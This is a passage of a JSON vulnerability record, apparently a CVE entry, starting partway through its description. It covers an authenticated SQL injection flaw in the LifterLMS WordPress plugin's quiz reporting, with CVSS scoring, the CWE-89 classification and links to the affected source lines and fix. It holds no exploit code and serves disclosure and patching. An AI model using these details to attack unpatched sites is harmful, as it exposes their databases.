This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Instructor-level access and above who have the edit_post capability on the quiz, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/lifterlms/trunk/includes/admin/reporting/tables/llms.table.quiz.non.attempts.php#L190", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/lifterlms/trunk/includes/admin/reporting/tables/llms.table.quiz.non.attempts.php#L240", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/lifterlms/trunk/includes/class.llms.ajax.handler.php#L243", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3495818/lifterlms/trunk/includes/admin/reporting/tables/llms.table.quiz.non.attempts.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/43d31d1e-0f4f-4f51-8274-650151642d03?source=cve", "source": "[email protected]"}]}}
